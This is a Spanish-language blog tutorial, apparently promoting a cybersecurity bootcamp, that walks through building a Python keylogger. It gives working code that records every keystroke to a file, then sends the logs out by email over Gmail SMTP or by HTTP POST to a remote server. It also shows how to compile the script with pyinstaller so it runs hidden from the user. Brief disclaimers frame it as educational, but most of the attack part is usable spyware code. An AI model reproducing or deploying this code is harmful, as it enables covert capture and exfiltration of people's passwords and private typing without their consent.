¿Cómo hacer un keylogger con Python?

| Última modificación: 30 de enero de 2025 | Tiempo de Lectura: 3 minutos
0
(0)

Hoy te contaré qué es y cómo hacer un keylogger, una herramienta muy útil para mantener la seguridad de los sistemas y de nuestros datos en la red, una batalla tan antigua como la lucha entre la Luz y la Oscuridad en Star Wars. En ese sentido, conocer las tácticas de los atacantes es esencial para mantenernos un paso adelante de sus intenciones e, incluso, podemos usarlas a nuestro favor para reforzar la ciberseguridad.

¿Cómo hacer un keylogger con Python?

¿Qué es un keylogger?

Un keylogger es un software que registra cada una de las pulsaciones que haces en un teclado. Aunque a menudo están asociados con actividades ilícitas, como el robo de información confidencial, esta tecnología también se utiliza para fines legales y de ciberseguridad, por ejemplo, para monitorear la actividad en las empresas, hacer investigaciones en seguridad informática, establecer un control parental o realizar pruebas de software.

De esta manera, los keyloggers pueden ser dispositivos físicos conectados al teclado o softwares, es decir, programas que registran las teclas que has presionado y las guardan en un archivo o las envían a un servidor.

En este artículo, me voy a enfocar en la versión de software usando Python. Sin embargo, también debo aclarar que el uso de keyloggers con fines maliciosos es ilegal, por lo que este tutorial tiene un propósito meramente educativo y debe usarse con responsabilidad.

¿Cómo hacer un keylogger con Python?

A continuación, te voy a enseñar cómo hacer un keylogger básico en Python utilizando la librería pynput, que nos permite monitorear el teclado. Veamos cuál es el paso a paso:

Instala las dependencias

Antes que nada, necesitas instalar la librería pynput, ya que esta nos permitirá registrar las teclas presionadas. 

pip install pynput

Escribe el script del keylogger

🔴 ¿Quieres entrar de lleno a la Ciberseguridad? 🔴

Descubre el Ciberseguridad Full Stack Bootcamp de KeepCoding. La formación más completa del mercado y con empleabilidad garantizada

👉 Prueba gratis el Bootcamp en Ciberseguridad por una semana

Luego, debes crea un archivo llamado keylogger.py y copiar el siguiente código:

import pynput
from pynput.keyboard import Key, Listener
import logging

# Configurar el archivo donde se guardarán las pulsaciones
direccion_log = "keylog.txt"
logging.basicConfig(filename=direccion_log, level=logging.DEBUG, format='%(asctime)s: %(message)s')

# Funciones para registrar las teclas presionadas
def on_press(key):
logging.info(str(key))

# Iniciar el listener
with Listener(on_press=on_press) as listener:
listener.join()

Ejecuta el keylogger

El siguiente paso es guardar el archivo y ejecutarlo con el siguiente comando:

python keylogger.py

Esto es lo que va a iniciar el keylogger, que registrará todas las pulsaciones de teclas en el archivo keylog.txt.

¿Cómo hacer un keylogger remoto?

En el caso de que quieras que el keylogger funcione a distancia y envíe la información a otro dispositivo o servidor, debes modificar el script para que envíe los registros de las teclas por correo electrónico o los suba a un servidor remoto. Te muestro cómo hacerlo:

Enviar registros por correo electrónico

Para esto, puedes usar la librería smtplib de Python, ya que esta permite enviar correos automáticamente:

import smtplib
from email.mime.text import MIMEText

def enviar_email():
remitente = "[email protected]"
destinatario = "[email protected]"
contraseña = "tupassword"

with open("keylog.txt", "r") as archivo:
mensaje = MIMEText(archivo.read())

mensaje["Subject"] = "Registro de teclas"
mensaje["From"] = remitente
mensaje["To"] = destinatario

servidor = smtplib.SMTP("smtp.gmail.com", 587)
servidor.starttls()
servidor.login(remitente, contraseña)
servidor.sendmail(remitente, destinatario, mensaje.as_string())
servidor.quit()

Al ejecutar esta función dentro del script del keylogger, cada cierto tiempo, va a enviar los registros almacenados de manera automática.

Subir los registros a un servidor

Otra opción que puedes considerar es enviar los datos a un servidor utilizando una petición HTTP con requests. Por ejemplo:

import requests

def enviar_a_servidor():
url = "http://tu-servidor.com/recibir_logs"
with open("keylog.txt", "r") as archivo:
data = {"contenido": archivo.read()}
requests.post(url, data=data)

Además, puedes programar una tarea para que esta función se ejecute cada cierto tiempo.

¿Cómo mejorar el keylogger?

Si quieres mejorar este keylogger, debes saber que puedes ejecutarlo en segundo plano. Básicamente, puedes modificar el script para que se ejecute sin que el usuario lo note, utilizando pyinstaller para convertirlo en un archivo ejecutable:

pip install pyinstaller
pyinstaller --onefile --noconsole keylogger.py

Al hacer esto, se genera un archivo ejecutable que puede trabajar en segundo plano.

Uso responsable de los keylogger

Te mencionaba al principio del artículo que los keylogger tienen aplicaciones legales y que, de hecho, pueden ser extremadamente útiles en ciertos contextos. Sin embargo, también pueden ser utilizados con fines malintencionados, por lo que quiero enfatizar en que el acceso no autorizado a la información de otra persona sin su consentimiento es ilegal y puede tener graves consecuencias. Así que ve por el camino de la luz y utiliza correctamente lo que has aprendido, joven padawan.

En los tiempos que vivimos, la ciberseguridad es más necesaria que nunca, así que si este artículo despertó tu interés por la ciberseguridad y la programación, no esperes para empezar una nueva carrera con una gran proyección y excelentes oportunidades laborales. En nuestro Bootcamp en Ciberseguridad, aprenderás a proteger sistemas, detectar vulnerabilidades y fortalecer la seguridad digital de las empresas.

¡Transforma tu vida y la manera en que funciona el mundo!

¿De cuánta utilidad te ha parecido este contenido?

¡Haz clic en una estrella para puntuarlo!

Promedio de puntuación 0 / 5. Recuento de votos: 0

Hasta ahora, ¡no hay votos!. Sé el primero en puntuar este contenido.

Posts más leídos

¡CONVOCATORIA ABIERTA!

Ciberseguridad

Full Stack Bootcamp

Clases en Directo | 7 meses | 12 horas lectivas semanales | Acceso a +600 empresas | Sueldos de hasta 95K | 92.86% de empleabilidad